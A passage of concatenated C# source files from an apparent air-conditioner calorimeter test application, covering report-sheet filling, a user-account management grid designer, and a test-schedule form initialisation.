Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
}
}
private void SetSheetTitle(Dictionary<string, Cell> sheet, DataBookDataSet bookSet, DataSheetDataSet sheetSet)
{
sheetTags.SetWorkSheetVisible(sheetSet.SheetName, sheetSet.Use);
if (sheetSet.Use == true)
{
sheet["{300}"].Value = bookSet.Company;
sheet["{302}"].Value = bookSet.TestName;
sheet["{304}"].Value = bookSet.TestNo;
sheet["{306}"].Value = bookSet.Observer;
sheet["{308}"].Value = bookSet.Maker;
sheet["{310}"].Value = bookSet.Model1;
sheet["{312}"].Value = bookSet.Serial1;
sheet["{314}"].Value = bookSet.Model2;
sheet["{316}"].Value = bookSet.Serial2;
string str = bookSet.Model3 + " / " + bookSet.Serial3;
if (str.Trim() == "/")
sheet["{318}"].Value = "";
else
sheet["{318}"].Value = str;
sheet["{320}"].Value = sheetSet.IDTemp;
sheet["{322}"].Value = sheetSet.IDState;
sheet["{301}"].Value = bookSet.Capacity;
sheet["{303}"].Value = bookSet.PowerInput;
sheet["{305}"].Value = bookSet.EER_COP;
sheet["{307}"].Value = bookSet.PowerSource;
sheet["{309}"].Value = bookSet.ExpDevice;
sheet["{311}"].Value = bookSet.Refrige;
sheet["{313}"].Value = bookSet.RefCharge;
sheet["{315}"].Value = bookSet.BeginTime;
sheet["{321}"].Value = sheetSet.ODTemp;
sheet["{323}"].Value = sheetSet.ODState;
sheet["{299}"].Value = "";
if (sheetSet.SheetName.EndsWith("TC") == false)
{
sheet["{365}"].Value = sheetSet.NozzleName;
}
}
}
private void SetSheetValues(Dictionary<string, Cell> sheet, List<string> cellTags, int integCount,
int integTime, DataValueUnitDataSet valueUnitSet, DataValueDataSet valueSet, bool isThermo, bool isNozzle=false)
{
string tag, state = "";
float average = 0;
int valueCount = 0;
int valueUnitCount = valueUnitSet.GetRowCount();
UnitConvert unit = new UnitConvert(EUnitType.None, 0, 0);
for (int i = 0; i < valueUnitCount; i++)
{
valueUnitSet.Fetch(i);
unit.Type = (EUnitType)valueUnitSet.UnitType;
unit.From = valueUnitSet.UnitFrom;
unit.To = valueUnitSet.UnitTo;
if (isThermo == true)
{
tag = $"{{{cellTags[i]}-N}}";
sheet[tag].Value = valueUnitSet.ValueName;
}
tag = $"{{{cellTags[i]}}}";
if (cellTags[i] != "365")
{
if (valueUnitSet.UnitType == 0)
sheet[tag].Value = "";
else
sheet[tag].Value = unit.ToDescription;
}
average = 0;
valueSet.Select(valueUnitSet.RecNo);
valueCount = valueSet.GetRowCount();
for (int j = 0; j < valueCount; j++)
{
valueSet.Fetch(j);
tag = $"{{{cellTags[i]}-{valueSet.DataNo+1}}}";
if (valueUnitSet.UnitType == 0)
{
if ((cellTags[i] == "365") && (isNozzle == true))
{
state = GetNozzleState((byte)valueSet.DataValue);
sheet[tag].Value = state;
}
else
{
sheet[tag].Value = "";
average = float.NaN;
break;
}
}
else
{
if (float.IsNaN(valueSet.DataValue) == true)
{
sheet[tag].Value = "";
average = float.NaN;
break;
}
else
{
if (string.IsNullOrWhiteSpace(valueUnitSet.Format) == false)
{
sheet[tag].NumberFormat = valueUnitSet.Format;
}
sheet[tag].Value = unit.Convert(valueSet.DataValue);
average += valueSet.DataValue;
}
}
}
tag = $"{{{cellTags[i]}-0}}";
if (cellTags[i] == "365")
{
if (isNozzle == true)
sheet[tag].Value = state;
else
sheet[tag].Value = "";
}
else
{
if ((valueUnitSet.UnitType == 0) || (valueCount == 0))
{
sheet[tag].Value = "";
}
else
{
if (float.IsNaN(average) == true)
{
sheet[tag].Value = "";
}
else
{
average = average / valueCount;
sheet[tag].Value = unit.Convert(average);
}
}
}
}
sheet["{min-0}"].Value = "Average";
for (int i=0; i<integCount; i++)
{
tag = $"{{min-{i+1}}}";
sheet[tag].Value = $"{(i+1)*integTime} min";
}
}
private string GetNozzleState(byte nozzleValue)
{
string state = "";
for (int i = 0; i < 4; i++)
{
state += (UlBits.Get(nozzleValue, i) == true) ? "O," : "X,";
}
return state.Substring(0, 7);
}
}
}
<file_sep>namespace Hnc.Calorimeter.Server
{
partial class CtrlConfigTop
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
DevExpress.XtraGrid.GridFormatRule gridFormatRule1 = new DevExpress.XtraGrid.GridFormatRule();
DevExpress.XtraEditors.FormatConditionRuleValue formatConditionRuleValue1 = new DevExpress.XtraEditors.FormatConditionRuleValue();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CtrlConfigTop));
this.userGridNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.userGrid = new DevExpress.XtraGrid.GridControl();
this.userGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.userGridGradeColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.userGridPasswdColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.userGridMemoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.userDeleteButton = new System.Windows.Forms.Button();
this.userUpdateButton = new System.Windows.Forms.Button();
this.userAddButton = new System.Windows.Forms.Button();
this.bgPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.userGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.userGridView)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.userGrid);
this.bgPanel.Controls.Add(this.userDeleteButton);
this.bgPanel.Controls.Add(this.userUpdateButton);
this.bgPanel.Controls.Add(this.userAddButton);
this.bgPanel.Size = new System.Drawing.Size(992, 645);
//
// userGridNameColumn
//
this.userGridNameColumn.AppearanceCell.BorderColor = System.Drawing.Color.Transparent;
this.userGridNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridNameColumn.AppearanceCell.ForeColor = System.Drawing.Color.Black;
this.userGridNameColumn.AppearanceCell.Options.UseBorderColor = true;
this.userGridNameColumn.AppearanceCell.Options.UseFont = true;
this.userGridNameColumn.AppearanceCell.Options.UseForeColor = true;
this.userGridNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridNameColumn.AppearanceHeader.Options.UseFont = true;
this.userGridNameColumn.Caption = "User ID";
this.userGridNameColumn.FieldName = "NAME";
this.userGridNameColumn.Name = "userGridNameColumn";
this.userGridNameColumn.OptionsColumn.AllowEdit = false;
this.userGridNameColumn.OptionsColumn.AllowFocus = false;
this.userGridNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.userGridNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.userGridNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.userGridNameColumn.OptionsColumn.AllowMove = false;
this.userGridNameColumn.OptionsColumn.AllowShowHide = false;
this.userGridNameColumn.OptionsColumn.AllowSize = false;
this.userGridNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.userGridNameColumn.OptionsColumn.FixedWidth = true;
this.userGridNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.userGridNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.userGridNameColumn.OptionsColumn.ReadOnly = true;
this.userGridNameColumn.OptionsColumn.TabStop = false;
this.userGridNameColumn.Visible = true;
this.userGridNameColumn.VisibleIndex = 0;
//
// userGrid
//
this.userGrid.Location = new System.Drawing.Point(0, 0);
this.userGrid.MainView = this.userGridView;
this.userGrid.Margin = new System.Windows.Forms.Padding(2);
this.userGrid.Name = "userGrid";
this.userGrid.Size = new System.Drawing.Size(867, 645);
this.userGrid.TabIndex = 8;
this.userGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.userGridView});
this.userGrid.DoubleClick += new System.EventHandler(this.userGrid_DoubleClick);
//
// userGridView
//
this.userGridView.Appearance.EvenRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.EvenRow.Options.UseFont = true;
this.userGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.FocusedCell.Options.UseFont = true;
this.userGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.FocusedRow.Options.UseFont = true;
this.userGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.userGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.userGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.OddRow.Options.UseFont = true;
this.userGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.Row.Options.UseFont = true;
this.userGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.SelectedRow.Options.UseFont = true;
this.userGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridView.Appearance.ViewCaption.Options.UseFont = true;
this.userGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.userGridNameColumn,
this.userGridGradeColumn,
this.userGridPasswdColumn,
this.userGridMemoColumn});
gridFormatRule1.Column = this.userGridNameColumn;
gridFormatRule1.Name = "Format0";
formatConditionRuleValue1.Appearance.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(192)))), ((int)(((byte)(128)))));
formatConditionRuleValue1.Appearance.Options.UseBackColor = true;
formatConditionRuleValue1.Condition = DevExpress.XtraEditors.FormatCondition.Equal;
formatConditionRuleValue1.Value1 = "ghdkd";
gridFormatRule1.Rule = formatConditionRuleValue1;
this.userGridView.FormatRules.Add(gridFormatRule1);
this.userGridView.GridControl = this.userGrid;
this.userGridView.Name = "userGridView";
this.userGridView.OptionsBehavior.Editable = false;
this.userGridView.OptionsBehavior.ReadOnly = true;
this.userGridView.OptionsCustomization.AllowGroup = false;
this.userGridView.OptionsSelection.EnableAppearanceFocusedCell = false;
this.userGridView.OptionsView.ShowGroupPanel = false;
this.userGridView.ScrollStyle = DevExpress.XtraGrid.Views.Grid.ScrollStyleFlags.LiveVertScroll;
this.userGridView.FocusedRowChanged += new DevExpress.XtraGrid.Views.Base.FocusedRowChangedEventHandler(this.userGridView_FocusedRowChanged);
//
// userGridGradeColumn
//
this.userGridGradeColumn.AppearanceCell.BorderColor = System.Drawing.Color.Transparent;
this.userGridGradeColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridGradeColumn.AppearanceCell.ForeColor = System.Drawing.Color.Black;
this.userGridGradeColumn.AppearanceCell.Options.UseBorderColor = true;
this.userGridGradeColumn.AppearanceCell.Options.UseFont = true;
this.userGridGradeColumn.AppearanceCell.Options.UseForeColor = true;
this.userGridGradeColumn.AppearanceCell.Options.UseTextOptions = true;
this.userGridGradeColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.userGridGradeColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridGradeColumn.AppearanceHeader.Options.UseFont = true;
this.userGridGradeColumn.Caption = "Authority";
this.userGridGradeColumn.FieldName = "AUTHORITY";
this.userGridGradeColumn.Name = "userGridGradeColumn";
this.userGridGradeColumn.OptionsColumn.AllowEdit = false;
this.userGridGradeColumn.OptionsColumn.AllowFocus = false;
this.userGridGradeColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.userGridGradeColumn.OptionsColumn.AllowIncrementalSearch = false;
this.userGridGradeColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.userGridGradeColumn.OptionsColumn.AllowMove = false;
this.userGridGradeColumn.OptionsColumn.AllowShowHide = false;
this.userGridGradeColumn.OptionsColumn.AllowSize = false;
this.userGridGradeColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.userGridGradeColumn.OptionsColumn.FixedWidth = true;
this.userGridGradeColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.userGridGradeColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.userGridGradeColumn.OptionsColumn.ReadOnly = true;
this.userGridGradeColumn.OptionsColumn.TabStop = false;
this.userGridGradeColumn.Visible = true;
this.userGridGradeColumn.VisibleIndex = 1;
//
// userGridPasswdColumn
//
this.userGridPasswdColumn.AppearanceCell.BorderColor = System.Drawing.Color.Transparent;
this.userGridPasswdColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridPasswdColumn.AppearanceCell.ForeColor = System.Drawing.Color.Black;
this.userGridPasswdColumn.AppearanceCell.Options.UseBorderColor = true;
this.userGridPasswdColumn.AppearanceCell.Options.UseFont = true;
this.userGridPasswdColumn.AppearanceCell.Options.UseForeColor = true;
this.userGridPasswdColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridPasswdColumn.AppearanceHeader.Options.UseFont = true;
this.userGridPasswdColumn.Caption = "Password";
this.userGridPasswdColumn.DisplayFormat.FormatString = "*";
this.userGridPasswdColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Custom;
this.userGridPasswdColumn.FieldName = "PASSWD";
this.userGridPasswdColumn.Name = "userGridPasswdColumn";
this.userGridPasswdColumn.OptionsColumn.AllowEdit = false;
this.userGridPasswdColumn.OptionsColumn.AllowFocus = false;
this.userGridPasswdColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.userGridPasswdColumn.OptionsColumn.AllowIncrementalSearch = false;
this.userGridPasswdColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.userGridPasswdColumn.OptionsColumn.AllowMove = false;
this.userGridPasswdColumn.OptionsColumn.AllowShowHide = false;
this.userGridPasswdColumn.OptionsColumn.AllowSize = false;
this.userGridPasswdColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.userGridPasswdColumn.OptionsColumn.FixedWidth = true;
this.userGridPasswdColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.userGridPasswdColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.userGridPasswdColumn.OptionsColumn.ReadOnly = true;
this.userGridPasswdColumn.OptionsColumn.TabStop = false;
this.userGridPasswdColumn.Visible = true;
this.userGridPasswdColumn.VisibleIndex = 2;
//
// userGridMemoColumn
//
this.userGridMemoColumn.AppearanceCell.BorderColor = System.Drawing.Color.Transparent;
this.userGridMemoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridMemoColumn.AppearanceCell.ForeColor = System.Drawing.Color.Black;
this.userGridMemoColumn.AppearanceCell.Options.UseBorderColor = true;
this.userGridMemoColumn.AppearanceCell.Options.UseFont = true;
this.userGridMemoColumn.AppearanceCell.Options.UseForeColor = true;
this.userGridMemoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.userGridMemoColumn.AppearanceHeader.Options.UseFont = true;
this.userGridMemoColumn.Caption = "Memo";
this.userGridMemoColumn.FieldName = "MEMO";
this.userGridMemoColumn.Name = "userGridMemoColumn";
this.userGridMemoColumn.OptionsColumn.AllowEdit = false;
this.userGridMemoColumn.OptionsColumn.AllowFocus = false;
this.userGridMemoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.userGridMemoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.userGridMemoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.userGridMemoColumn.OptionsColumn.AllowMove = false;
this.userGridMemoColumn.OptionsColumn.AllowShowHide = false;
this.userGridMemoColumn.OptionsColumn.AllowSize = false;
this.userGridMemoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.userGridMemoColumn.OptionsColumn.FixedWidth = true;
this.userGridMemoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.userGridMemoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.userGridMemoColumn.OptionsColumn.ReadOnly = true;
this.userGridMemoColumn.OptionsColumn.TabStop = false;
this.userGridMemoColumn.Visible = true;
this.userGridMemoColumn.VisibleIndex = 3;
//
// userDeleteButton
//
this.userDeleteButton.Image = ((System.Drawing.Image)(resources.GetObject("userDeleteButton.Image")));
this.userDeleteButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.userDeleteButton.Location = new System.Drawing.Point(872, 76);
this.userDeleteButton.Name = "userDeleteButton";
this.userDeleteButton.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0);
this.userDeleteButton.Size = new System.Drawing.Size(120, 36);
this.userDeleteButton.TabIndex = 7;
this.userDeleteButton.TabStop = false;
this.userDeleteButton.Text = "Delete";
this.userDeleteButton.UseVisualStyleBackColor = true;
this.userDeleteButton.Click += new System.EventHandler(this.userDeleteButton_Click);
//
// userUpdateButton
//
this.userUpdateButton.Image = ((System.Drawing.Image)(resources.GetObject("userUpdateButton.Image")));
this.userUpdateButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.userUpdateButton.Location = new System.Drawing.Point(872, 38);
this.userUpdateButton.Name = "userUpdateButton";
this.userUpdateButton.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0);
this.userUpdateButton.Size = new System.Drawing.Size(120, 36);
this.userUpdateButton.TabIndex = 6;
this.userUpdateButton.TabStop = false;
this.userUpdateButton.Text = "Modify";
this.userUpdateButton.UseVisualStyleBackColor = true;
this.userUpdateButton.Click += new System.EventHandler(this.userUpdateButton_Click);
//
// userAddButton
//
this.userAddButton.Image = ((System.Drawing.Image)(resources.GetObject("userAddButton.Image")));
this.userAddButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.userAddButton.Location = new System.Drawing.Point(872, 0);
this.userAddButton.Name = "userAddButton";
this.userAddButton.Padding = new System.Windows.Forms.Padding(4, 0, 0, 0);
this.userAddButton.Size = new System.Drawing.Size(120, 36);
this.userAddButton.TabIndex = 5;
this.userAddButton.TabStop = false;
this.userAddButton.Text = "New";
this.userAddButton.UseVisualStyleBackColor = true;
this.userAddButton.Click += new System.EventHandler(this.userAddButton_Click);
//
// CtrlConfigTop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 15F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.Name = "CtrlConfigTop";
this.Size = new System.Drawing.Size(992, 645);
this.Load += new System.EventHandler(this.CtrlConfigTop_Load);
this.Enter += new System.EventHandler(this.CtrlConfigTop_Enter);
this.bgPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.userGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.userGridView)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private DevExpress.XtraGrid.GridControl userGrid;
private DevExpress.XtraGrid.Views.Grid.GridView userGridView;
private DevExpress.XtraGrid.Columns.GridColumn userGridNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn userGridGradeColumn;
private DevExpress.XtraGrid.Columns.GridColumn userGridPasswdColumn;
private DevExpress.XtraGrid.Columns.GridColumn userGridMemoColumn;
private System.Windows.Forms.Button userDeleteButton;
private System.Windows.Forms.Button userUpdateButton;
private System.Windows.Forms.Button userAddButton;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraGrid.Columns;
using DevExpress.XtraGrid.Views.BandedGrid;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using Ulee.Controls;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public partial class FormOpenSchedule : UlFormEng
{
public FormOpenSchedule(ConditionSchedule sch)
{
InitializeComponent();
defSch = sch;
Initialize();
}
private GridBookmark bookmark;
private List<TextEdit> viewEdits;
private List<TextEdit> id1Edits;
private List<TextEdit> id2Edits;
private List<TextEdit> odEdits;
private List<AdvBandedGridView> viewGrids;
private List<ChamberParams> chamberParams;
private ConditionSchedule defSch;
public GridView ScheduleGridView { get { return scheduleGridView; } }
public List<ChamberParams> Chambers { get { return chamberParams; } }
private void Initialize()
{
bookmark = new GridBookmark(scheduleGridView);
viewEdits = new List<TextEdit>();
viewEdits.Add(standardEdit);
viewEdits.Add(nameEdit);
viewEdits.Add(noSteadyEdit);
viewEdits.Add(preparationEdit);
viewEdits.Add(judgementEdit);
viewEdits.Add(repeatEdit);
id1Edits = new List<TextEdit>();
id1Edits.Add(id1EdbSetupEdit);
id1Edits.Add(id1EdbAvgEdit);
id1Edits.Add(id1EdbDevEdit);
id1Edits.Add(id1EwbSetupEdit);
id1Edits.Add(id1EwbAvgEdit);
id1Edits.Add(id1EwbDevEdit);
id1Edits.Add(id1Ldb1DevEdit);
id1Edits.Add(id1Lwb1DevEdit);
id1Edits.Add(id1Airflow1DevEdit);
id1Edits.Add(id1Ldb2DevEdit);
id1Edits.Add(id1Lwb2DevEdit);
id1Edits.Add(id1Airflow2DevEdit);
id1Edits.Add(id1Cdp1SetupEdit);
id1Edits.Add(id1Cdp1AvgEdit);
id1Edits.Add(id1Cdp1DevEdit);
id1Edits.Add(id1Cdp2SetupEdit);
id1Edits.Add(id1Cdp2AvgEdit);
id1Edits.Add(id1Cdp2DevEdit);
id2Edits = new List<TextEdit>();
id2Edits.Add(id2EdbSetupEdit);
id2Edits.Add(id2EdbAvgEdit);
id2Edits.Add(id2EdbDevEdit);
id2Edits.Add(id2EwbSetupEdit);
id2Edits.Add(id2EwbAvgEdit);
id2Edits.Add(id2EwbDevEdit);
id2Edits.Add(id2Ldb1DevEdit);
id2Edits.Add(id2Lwb1DevEdit);
id2Edits.Add(id2Airflow1DevEdit);
id2Edits.Add(id2Ldb2DevEdit);
id2Edits.Add(id2Lwb2DevEdit);
id2Edits.Add(id2Airflow2DevEdit);
id2Edits.Add(id2Cdp1SetupEdit);
id2Edits.Add(id2Cdp1AvgEdit);
id2Edits.Add(id2Cdp1DevEdit);
id2Edits.Add(id2Cdp2SetupEdit);
id2Edits.Add(id2Cdp2AvgEdit);
id2Edits.Add(id2Cdp2DevEdit);
odEdits = new List<TextEdit>();
odEdits.Add(odEdbSetupEdit);
odEdits.Add(odEdbAvgEdit);
odEdits.Add(odEdbDevEdit);
odEdits.Add(odEwbSetupEdit);
odEdits.Add(odEwbAvgEdit);
odEdits.Add(odEwbDevEdit);
odEdits.Add(odEdpSetupEdit);
odEdits.Add(odEdpAvgEdit);
odEdits.Add(odEdpDevEdit);
odEdits.Add(odVolt1SetupEdit);
odEdits.Add(odVolt1AvgEdit);
odEdits.Add(odVolt1DevEdit);
odEdits.Add(odVolt2SetupEdit);
odEdits.Add(odVolt2AvgEdit);
odEdits.Add(odVolt2DevEdit);
viewGrids = new List<AdvBandedGridView>();
viewGrids.Add(indoor1GridView);
viewGrids.Add(indoor2GridView);
viewGrids.Add(outdoorGridView);
chamberParams = new List<ChamberParams>();
chamberParams.Add(new ChamberParams());
indoor1Grid.DataSource = chamberParams;
indoor2Grid.DataSource = chamberParams;
outdoorGrid.DataSource = chamberParams;
NameValue<EIndoorUse>[] inUseItems = EnumHelper.GetNameValues<EIndoorUse>();
indoor1UseLookUp.DataSource = inUseItems;
indoor1UseLookUp.DisplayMember = "Name";
indoor1UseLookUp.ValueMember = "Value";
indoor1UseLookUp.KeyMember = "Value";
indoor2UseLookUp.DataSource = inUseItems;
indoor2UseLookUp.DisplayMember = "Name";
indoor2UseLookUp.ValueMember = "Value";
indoor2UseLookUp.KeyMember = "Value";
NameValue<EIndoorMode>[] modeItems = EnumHelper.GetNameValues<EIndoorMode>();
indoor1ModeLookUp.DataSource = modeItems;
indoor1ModeLookUp.DisplayMember = "Name";
indoor1ModeLookUp.ValueMember = "Value";
indoor1ModeLookUp.KeyMember = "Value";
indoor2ModeLookUp.DataSource = modeItems;
indoor2ModeLookUp.DisplayMember = "Name";
indoor2ModeLookUp.ValueMember = "Value";
indoor2ModeLookUp.KeyMember = "Value";
NameValue<EIndoorDuct>[] ductItems = EnumHelper.GetNameValues<EIndoorDuct>();
indoor1DuctLookUp.DataSource = ductItems;
indoor1DuctLookUp.DisplayMember = "Name";
indoor1DuctLookUp.ValueMember = "Value";
indoor1DuctLookUp.KeyMember = "Value";
indoor2DuctLookUp.DataSource = ductItems;
indoor2DuctLookUp.DisplayMember = "Name";
indoor2DuctLookUp.ValueMember = "Value";
indoor2DuctLookUp.KeyMember = "Value";
NameValue<EOutdoorUse>[] outUseItems = EnumHelper.GetNameValues<EOutdoorUse>();
outdoorUseLookUp.DataSource = outUseItems;
outdoorUseLookUp.DisplayMember = "Name";
outdoorUseLookUp.ValueMember = "Value";
outdoorUseLookUp.KeyMember = "Value";
NameValue<EEtcUse>[] etcUseItems = EnumHelper.GetNameValues<EEtcUse>();
outdoorEtcUseLookUp.DataSource = etcUseItems;
outdoorEtcUseLookUp.DisplayMember = "Name";
outdoorEtcUseLookUp.ValueMember = "Value";
outdoorEtcUseLookUp.KeyMember = "Value";
string format;
string devFormat;
foreach (TextEdit edit in id1Edits)
{
switch (int.Parse(((string)edit.Tag).ToString()))
{
// Temperature Edit
case 0:
format = Resource.Variables.Measured["ID11.Entering.DB"].Format;
devFormat = ToDevFormat(format);
break;
// Air Flow Edit
case 1:
format = Resource.Variables.Calcurated["ID11.Air.Flow.Lev"].Format;
devFormat = ToDevFormat(format);
break;
// Diff. Pressure Edit
case 2:
format = Resource.Variables.Measured["ID11.Nozzle.Diff.Pressure"].Format;
devFormat = ToDevFormat(format);
break;
default:
format = "0.0";
devFormat = "f1";
break;
}
edit.Text = format;
edit.Properties.Mask.EditMask = devFormat;
edit.Properties.DisplayFormat.FormatString = devFormat;
edit.Properties.EditFormat.FormatString = devFormat;
}
foreach (TextEdit edit in id2Edits)
{
switch (int.Parse(((string)edit.Tag).ToString()))
{
// Temperature Edit
case 0:
format = Resource.Variables.Measured["ID21.Entering.DB"].Format;
devFormat = ToDevFormat(format);
break;
// Air Flow Edit
case 1:
format = Resource.Variables.Calcurated["ID21.Air.Flow.Lev"].Format;
devFormat = ToDevFormat(format);
break;
// Diff. Pressure Edit
case 2:
format = Resource.Variables.Measured["ID21.Nozzle.Diff.Pressure"].Format;
devFormat = ToDevFormat(format);
break;
default:
format = "0.0";
devFormat = "f1";
break;
}
edit.Text = format;
edit.Properties.Mask.EditMask = devFormat;
edit.Properties.DisplayFormat.FormatString = devFormat;
edit.Properties.EditFormat.FormatString = devFormat;
}
foreach (TextEdit edit in odEdits)
{
switch (int.Parse(((string)edit.Tag).ToString()))
{
// Temperature Edit
case 0:
format = Resource.Variables.Measured["OD.Entering.DB"].Format;
devFormat = ToDevFormat(format);
break;
// Air Flow Edit
case 1:
format = Resource.Variables.Measured["PM1.R.V"].Format;
devFormat = ToDevFormat(format);
break;
default:
format = "0.0";
devFormat = "f1";
break;
}
edit.Text = format;
edit.Properties.Mask.EditMask = devFormat;
edit.Properties.DisplayFormat.FormatString = devFormat;
edit.Properties.EditFormat.FormatString = devFormat;
}
scheduleGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
scheduleGridView.OptionsView.EnableAppearanceEvenRow = true;
